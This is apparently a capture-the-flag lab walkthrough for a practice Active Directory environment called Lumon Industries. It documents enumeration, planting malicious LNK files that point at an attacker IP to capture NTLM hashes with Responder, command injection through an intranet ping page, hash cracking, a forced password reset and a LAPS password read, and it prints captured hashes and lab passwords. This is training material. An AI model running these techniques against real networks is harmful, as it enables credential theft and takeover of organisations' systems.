> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-lumon-industries.md).

# Hacksmarter - Lumon Industries

Lumon Industries will soon be integrating a high-value employee into the organization. In accordance with internal security protocols, a comprehensive penetration test must be conducted.

## Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

Lumon Industries will soon be integrating a high-value employee into the organization. In accordance with internal security protocols, a comprehensive penetration test and internal access verification must be conducted prior to full onboarding.

For the purposes of this evaluation, you will be provided the assigned credentials and access permissions corresponding to the subject employee. Your objective is to assess the scope and boundaries of these permissions, ensuring compliance with all Lumon security standards and operational safeguards.

**Starting Credentials**

```
hellyr:H3lenaR!2025
```

## Enumeration

### Nmap - Machine 1  Lumons Industries 1.0 - DC01

```
──(kali㉿kali)-[~/Desktop/Lumons]
└─$ sudo nmap -A 10.1.98.156 -oN Lumons.Nmap -T4
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-17 10:44 EDT
Nmap scan report for 10.1.98.156
Host is up (0.22s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-17 14:44:49Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: lumons.hacksmarter, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.lumons.hacksmarter
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.lumons.hacksmarter
| Not valid before: 2025-10-09T19:23:24
|_Not valid after:  2026-10-09T19:23:24
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: lumons.hacksmarter, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.lumons.hacksmarter
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.lumons.hacksmarter
| Not valid before: 2025-10-09T19:23:24
|_Not valid after:  2026-10-09T19:23:24
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: lumons.hacksmarter, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.lumons.hacksmarter
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.lumons.hacksmarter
| Not valid before: 2025-10-09T19:23:24
|_Not valid after:  2026-10-09T19:23:24
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: lumons.hacksmarter, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.lumons.hacksmarter
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.lumons.hacksmarter
| Not valid before: 2025-10-09T19:23:24
|_Not valid after:  2026-10-09T19:23:24
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.lumons.hacksmarter
| Not valid before: 2026-08-16T14:39:58
|_Not valid after:  2027-02-15T14:39:58
| rdp-ntlm-info: 
|   Target_Name: LUMONS
|   NetBIOS_Domain_Name: LUMONS
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: lumons.hacksmarter
|   DNS_Computer_Name: DC01.lumons.hacksmarter
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-17T14:45:53+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.95%I=7%D=8/17%Time=6A831E67%P=x86_64-pc-linux-gnu%r(Te
SF:rminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\
SF:0\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-08-17T14:45:54
|_  start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -2s

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   220.03 ms 10.200.0.1
2   ...
3   220.11 ms 10.1.98.156

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.67 seconds

```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FBLFM6c0QIHkmVQT940m8%2Fimage.png?alt=media&amp;token=fce24717-262a-42d6-aeb8-fcd9ff02ec7f" alt=""><figcaption></figcaption></figure>

Add the domain name to /etc/hosts file

```
10.1.98.156    lumons.hacksmarter
10.1.98.156    DC01.lumons.hacksmarter
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Ffqgpe6lCbggivUjaOn6C%2Fimage.png?alt=media&amp;token=72c16eee-61e7-4069-900b-7103cfb1c154" alt=""><figcaption></figcaption></figure>

### Nmap - Machine 2  Lumons Industries 1.0 - Intranet

```
┌──(kali㉿kali)-[~/Desktop/Lumons]
└─$ sudo nmap -A 10.1.190.31 -oN Lumons2.Nmap -T4
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-17 10:45 EDT
Nmap scan report for 10.1.190.31
Host is up (0.22s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://intranet.lumons.hacksmarter/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=intranet.lumons.hacksmarter
| Subject Alternative Name: DNS:intranet.lumons.hacksmarter
| Not valid before: 2025-10-09T20:29:11
|_Not valid after:  2030-10-09T20:39:09
| tls-alpn: 
|_  http/1.1
|_http-title: Did not follow redirect to https://intranet.lumons.hacksmarter/
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=Intranet.lumons.hacksmarter
| Not valid before: 2026-08-16T14:40:56
|_Not valid after:  2027-02-15T14:40:56
| rdp-ntlm-info: 
|   Target_Name: LUMONS
|   NetBIOS_Domain_Name: LUMONS
|   NetBIOS_Computer_Name: INTRANET
|   DNS_Domain_Name: lumons.hacksmarter
|   DNS_Computer_Name: Intranet.lumons.hacksmarter
|   DNS_Tree_Name: lumons.hacksmarter
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-17T14:46:06+00:00
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.95%I=7%D=8/17%Time=6A831E93%P=x86_64-pc-linux-gnu%r(Te
SF:rminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\
SF:0\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-08-17T14:46:06
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   224.83 ms 10.200.0.1
2   ...
3   224.98 ms 10.1.190.31

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.60 seconds

```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F9SCaZeedSJjMLzUL12c9%2Fimage.png?alt=media&amp;token=cc3b4b12-c4d6-430a-9420-ed1349f1527c" alt=""><figcaption></figcaption></figure>

Add the hostname to /etc/hosts

```
10.1.190.31    intranet.lumons.hacksmarter
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fp4Iixuvb242rILXlSsnq%2Fimage.png?alt=media&amp;token=cb46734b-1dd3-4405-bdee-f28931355d3c" alt=""><figcaption></figcaption></figure>

### Bloodhound

Spin off Bloodhound

```
bloodhound-cli install
```

#### Collect the loot

Rusthound failed to collect the loot.

```
rusthound-ce -d lumons.hacksmarter -u 'hellyr' -p 'H3lenaR!2025' -n 10.1.98.156 -o rusthound_output
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FLDyjlb0RVoejVszWurGE%2Fimage.png?alt=media&amp;token=9840ffa3-ba6a-4e59-9834-fbbb3f1302ea" alt=""><figcaption></figcaption></figure>

Let's try Netexec

```
nxc ldap 10.1.98.156  -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server 10.1.98.156 
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FH6QcVZD1ssbiApHPtqdr%2Fimage.png?alt=media&amp;token=3d9ab397-ff6a-4ee2-9eea-a9bc8ae24a0c" alt=""><figcaption></figcaption></figure>

It worked. Now copy the loot to the current directory

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F7SlhAqwa9av7Dv7lHbiv%2Fimage.png?alt=media&amp;token=05c98d23-a57e-4c5d-9352-d81a788f3268" alt=""><figcaption></figcaption></figure>

#### Current User

We own HeelyR user so mark it as owned. And see its permissions. There are no outbound object controls.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FEuJe4vhcToYPcLjZfG02%2Fimage.png?alt=media&amp;token=5ee3ade7-a7c8-4cf9-bbcb-cee5cbf8c70b" alt=""><figcaption></figcaption></figure>

#### Domain Admins

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FFZ6UtkQxhOeoABl4Har1%2Fimage.png?alt=media&amp;token=ac90f2db-eee6-4804-9408-8088241d4a0d" alt=""><figcaption></figcaption></figure>

### Users Enumeration

Enumerate domain users. We may have something in the description.

```
nxc smb 10.1.98.156  -u 'hellyr' -p 'H3lenaR!2025' --users
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FV1RNbpOu72bn23iimc2a%2Fimage.png?alt=media&amp;token=fa5049a7-219f-41dc-a159-208a39487b58" alt=""><figcaption></figcaption></figure>

```
nxc ldap 10.1.98.156  -u 'hellyr' -p 'H3lenaR!2025' --users-export user.txt
```

This will write usernames to a text file

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FkSWM2CTr08OpcoQLHHCe%2Fimage.png?alt=media&amp;token=472ccf50-c0db-4c34-a2a9-38e40597ddab" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F7bLqzThllzT5N6suIQwE%2Fimage.png?alt=media&amp;token=fd9a3e99-f54b-485a-ae21-57d662fbbb79" alt=""><figcaption></figcaption></figure>

### SMB Enumeration

```
nxc smb 10.1.98.156  -u 'hellyr' -p 'H3lenaR!2025' --shares 
```

Nothing Interesting on domain Controller.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FZTbxcXgGxQPWnEJw5zCt%2Fimage.png?alt=media&amp;token=88d8953b-47d1-462c-9c89-a2e7daa28f03" alt=""><figcaption></figcaption></figure>

We have read/write access on a share MDrepo on the intranet PC

```
nxc smb 10.1.190.31  -u 'hellyr' -p 'H3lenaR!2025' --shares
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FHTc6KP7JIeUJcZPai37R%2Fimage.png?alt=media&amp;token=33e7dc6c-ed31-4d74-9c85-86b1910c5bfd" alt=""><figcaption></figcaption></figure>

We can try to check the sensitive files and also then we can do some poisoning to capture the hashes.

```
smbclient \\\\10.1.190.31\\MDrepo -U 'lumons.hacksmarter/hellyr'
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FblM0M5mTnVYY9t7WnmI0%2Fimage.png?alt=media&amp;token=94d63d8c-4624-47a0-9478-3aa366df1f3d" alt=""><figcaption></figcaption></figure>

We have 2 files. Download these.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FKA5whTdd92wtdDaCPCN2%2Fimage.png?alt=media&amp;token=dd2bae66-63d1-4826-8bc0-6fb5938f8e0a" alt=""><figcaption></figcaption></figure>

We have an intranet site URL in one of the files

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fhf6DhebhdU3LxuOgTLuV%2Fimage.png?alt=media&amp;token=7da0f271-19ec-469d-9bc3-82b60b1cff1a" alt=""><figcaption></figcaption></figure>

On the pdf, we have information how to access the webpages

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FiZj6Ug5zQ0vcr5xt2zv0%2Fimage.png?alt=media&amp;token=b11978e4-2688-47ce-b0dc-37733f18198d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FTNJPJbqHPpb5I4edVx6J%2Fimage.png?alt=media&amp;token=2f50618c-572d-48df-8739-3cd56f034ded" alt=""><figcaption></figcaption></figure>

## SMB LNK File Attacks

As we have a writable share we can write a file there and try to grab the hash.

```
# Clone the repository
git clone https://github.com/xct/hashgrab.git
cd hashgrab

# Create a Python virtual environment named 'myenv'
python3 -m venv myenv

# Activate the virtual environment
source myenv/bin/activate

# Install the required dependencies safely inside the venv
pip3 install -r requirements.txt
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FJP8zaOpbUrYsXsY3Pcet%2Fimage.png?alt=media&amp;token=baac511b-94d2-4f5b-8a6d-cc03e970faa6" alt=""><figcaption></figcaption></figure>

Run Hashgrab to generate the malicious files, pointing them back to the attacker's VPN IP.

```
# Generate the malicious share files
python3 hashgrab.py <ATTACKER_VPN_IP> hacksmarter
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fzv7TeSubdx6qjBvNROh2%2Fimage.png?alt=media&amp;token=e50528f8-9c88-4d21-9d83-8c970326ae8e" alt=""><figcaption></figcaption></figure>

Start Responder on the VPN interface (`tun0`) to listen for incoming authentication requests triggered by the malicious files.

```
# Start Responder on the tun0 interface
sudo responder -I tun0
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FasI2AmcnJf5nmBCXIh6f%2Fimage.png?alt=media&amp;token=9cbef2de-3447-41c0-9810-73d6da83495d" alt=""><figcaption></figcaption></figure>

Now upload the malicious files.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FAcFpHJyL4YhdjG25GcmA%2Fimage.png?alt=media&amp;token=12e1f66d-047b-4889-952a-78383aa235ab" alt=""><figcaption></figcaption></figure>

And we have captured a hash

```
harmonyc::LUMONS:2c4b5392f3a8f5f2:7665A3746F4BAA814981D85ABE83CDF5:010100000000000012FE1DDBF22FDD0150E62B884DBBA7E80000000002000800410032004C00450001001E00570049004E002D004800360056005000360048003200430032005200570004001400410032004C0045002E004C004F00430041004C0003003400570049004E002D00480036005600500036004800320043003200520057002E00410032004C0045002E004C004F00430041004C0005001400410032004C0045002E004C004F00430041004C000800300030000000000000000000000000300000898142286DAB7E28E9E0C3A19EF0BFBF01D1AC8E708ED39E899EB7EEEE7A1C1B0A001000000000000000000000000000000000000900240048005400540050002F00310030002E003200300030002E00380032002E003200300031000000000000000000
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FugxTLmz8StsQUm6tKxwC%2Fimage.png?alt=media&amp;token=cf7ac394-337d-4cd9-80e7-7d5fe10119e4" alt=""><figcaption></figcaption></figure>

Now save the hash in hash.txt and lets crack it.

```
john hash.txt -w=/usr/share/wordlists/rockyou.txt 
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fp75trlcEHjyHaJU9BjG9%2Fimage.png?alt=media&amp;token=393f38d8-0ba1-482f-9a2a-9390b3aba7f1" alt=""><figcaption></figcaption></figure>

### Compromised user

And we have the password for the user.

```
harmonyc : h@rmony08
```

and we have access to both machines with the user

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FPrEYfrfU8724NJMHwUpc%2Fimage.png?alt=media&amp;token=94557959-9cc9-4412-8666-533e22d046ae" alt=""><figcaption></figcaption></figure>

Mark the user as owned in Bloodhound

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FpAyZbgILFcEWKI0IsU4s%2Fimage.png?alt=media&amp;token=e90a7937-031c-48b0-92fb-d41a7ba11cdb" alt=""><figcaption></figcaption></figure>

&#x20;and see what access it has.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FSVL7vBdg1b68DE2KuqCw%2Fimage.png?alt=media&amp;token=d7956acc-2ff1-4906-8e63-4468df494fa3" alt=""><figcaption></figcaption></figure>

## Intranet Enumeration

Visit the Website

{% embed url="<https://intranet.lumons.hacksmarter/>" %}

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FsR4hOF7QIfCV74WXDo8a%2Fimage.png?alt=media&amp;token=1cff8fba-f398-41d5-a9a6-d374575dc27b" alt=""><figcaption></figcaption></figure>

We login with harmonyc and we have access to admin panel.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FVynCqiWnxqNhgIUXBYxj%2Fimage.png?alt=media&amp;token=bf167aaf-50ae-431c-98d6-11f650cb760d" alt=""><figcaption></figcaption></figure>

Also, we have access to the terminal.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FzUpOOL8TpACfvD8TpQML%2Fimage.png?alt=media&amp;token=750787b9-e511-47f7-8fbe-3018e8cfd2ed" alt=""><figcaption></figcaption></figure>

### Command Execution

In the admin panel, we have a ping we can try command execution. and it worked.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FXAEWyYcSTrDJDfrI65sA%2Fimage.png?alt=media&amp;token=026d5097-6481-4267-8e21-c3ef9929d3ce" alt=""><figcaption></figcaption></figure>

### SMB relay

We can try the machine to browse to our machine and see if we can capture the hash.

#### Start responder

```
sudo responder -I tun0
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fk3clDhG8eN25iU2BYHiN%2Fimage.png?alt=media&amp;token=baec8569-cf35-43de-80ab-e70f8aa73e1f" alt=""><figcaption></figcaption></figure>

Now browse the share in the web

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FhGbsGnIag9dYngopa2ho%2Fimage.png?alt=media&amp;token=0e93b650-b4d0-458a-b4de-48d9a0401c3a" alt=""><figcaption></figcaption></figure>

#### Hash captured

And in the responder we have our hash.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F6uyQVr5wTFLGYRSyiE9h%2Fimage.png?alt=media&amp;token=c7a9fa50-62ac-4f07-a338-f9df5ee6faae" alt=""><figcaption></figcaption></figure>

```
IntranetSvc::LUMONS:a2e40eac7b7b87aa:7D2961EE0A69298B74C996F6FAB28F7B:010100000000000000AE79E71B32DD0166F4D54916F8718300000000020008004E0057005200470001001E00570049004E002D005600570036005A00460048005400470037003700490004003400570049004E002D005600570036005A0046004800540047003700370049002E004E005700520047002E004C004F00430041004C00030014004E005700520047002E004C004F00430041004C00050014004E005700520047002E004C004F00430041004C000700080000AE79E71B32DD0106000400020000000800300030000000000000000100000000200000CD31E17F93946CB1F994844A7AB5BEBC9CB3A8DE83032CD582D53056AE60D07F0A001000000000000000000000000000000000000900240063006900660073002F00310030002E003200300030002E00380032002E003200300031000000000000000000  
```

#### Crack the hash

```
john intranetsvc.txt -w=/usr/share/wordlists/rockyou.txt
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FYoIXP0bc4K2Npp30Kwrx%2Fimage.png?alt=media&amp;token=ef628ca0-80e2-4a74-9c86-13958ebbfb37" alt=""><figcaption></figcaption></figure>

<pre><code><strong>IntranetSvc : Servicesince1979    
</strong></code></pre>

And now we can check whether our user is working.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fpup4HoZoP3Ntto70Kaea%2Fimage.png?alt=media&amp;token=0efff01c-f859-4af4-b80f-d3f83098fbae" alt=""><figcaption></figcaption></figure>

Mark the user as owned in bloodhound

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fh01yaJIVT41R37UoZO70%2Fimage.png?alt=media&amp;token=1a414dab-fa6f-4e86-87c5-93d28b7597a5" alt=""><figcaption></figcaption></figure>

### Force Change Password

Our compromised user has access to the force change password privilege for 6x users.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fgiz0t8nZOJe7IYseQdTO%2Fimage.png?alt=media&amp;token=cffe95d1-6317-41da-bca6-5f158f68cacd" alt=""><figcaption></figcaption></figure>

Out of these PeterK is a member of LAPSadmin and web admin.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F3BB0K57MxOoZcqeUhAsI%2Fimage.png?alt=media&amp;token=a991aa7a-b4cc-4afb-b643-6f3d1470618a" alt=""><figcaption></figcaption></figure>

Similarly MarkS is also an interesting user.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F87VSn0FYubdvE5NX3s0T%2Fimage.png?alt=media&amp;token=08523652-4649-4d1e-ab6a-4d0c22f236c9" alt=""><figcaption></figcaption></figure>

We can change the password

```
net rpc password "MARKS" 'HackSmarter123!' -U 'lumons.hacksmarter'/"IntranetSvc"%'Servicesince1979' -S "dc01.lumons.hacksmarter"
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FnOZv4zrUHLn0L9z8GLqf%2Fimage.png?alt=media&amp;token=9118a0f3-a79f-4baa-9de8-87dd3db4fe5c" alt=""><figcaption></figcaption></figure>

```
MARKS:HackSmarter123!
```

#### Access as Marks User

```
nxc smb dc01.lumons.hacksmarter -u "marks" -p 'HackSmarter123!' --shares --smb-timeout 30
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F7DQwVIWwtxOfzxP9OE5R%2Fimage.png?alt=media&amp;token=140b9b1c-904c-4807-a1a4-ee39328e51ad" alt=""><figcaption></figcaption></figure>

As we have successful authentication, So, our password change worked.

*Microsoft LAPS is a password manager* that utilizes Active Directory to manage and rotate passwords for local Administrator accounts&#x20;

### Read Laps password

We can use netexec to read laps password.

```
nxc smb 10.1.190.31 -u "marks" -p 'HackSmarter123!' --laps --smb-timeout 30
```

We have a new set of credentials

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F9WjMRuYWLPv8VdzhllNa%2Fimage.png?alt=media&amp;token=a2248f0e-1e10-4574-81d0-a0e6e98f9ff5" alt=""><figcaption></figcaption></figure>

```
localadmin:JazzDryMapShackArtPutt
```

We have local admin account on local intranet server.&#x20;

## Full compromise of the intranet server

```
localadmin:JazzDryMapShackArtPutt
```

Now, we can see the access

```
nxc smb 10.1.190.31 -u "localadmin" -p 'JazzDryMapShackArtPutt' --shares --smb-timeout 30 --local-auth
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F5m9tIsCcWghkTg2BkVRW%2Fimage.png?alt=media&amp;token=598cbbf2-37f8-4c88-9072-903d2d8219e6" alt=""><figcaption></figcaption></figure>

We also have RDP access.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FDMp8SZQZy59rtPVPscFY%2Fimage.png?alt=media&amp;token=cde4bf19-b4bf-4d03-8e31-23a7dea258f3" alt=""><figcaption></figcaption></figure>

We have a flag on Mark's desktop.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F0hVh7hZQDhr5zy0dpQfZ%2Fimage.png?alt=media&amp;token=91ca1eda-84a6-4577-82d5-13d8d88079c7" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
249d9efcda06d2ec368f7cb4f2e8510a
{% endhint %}
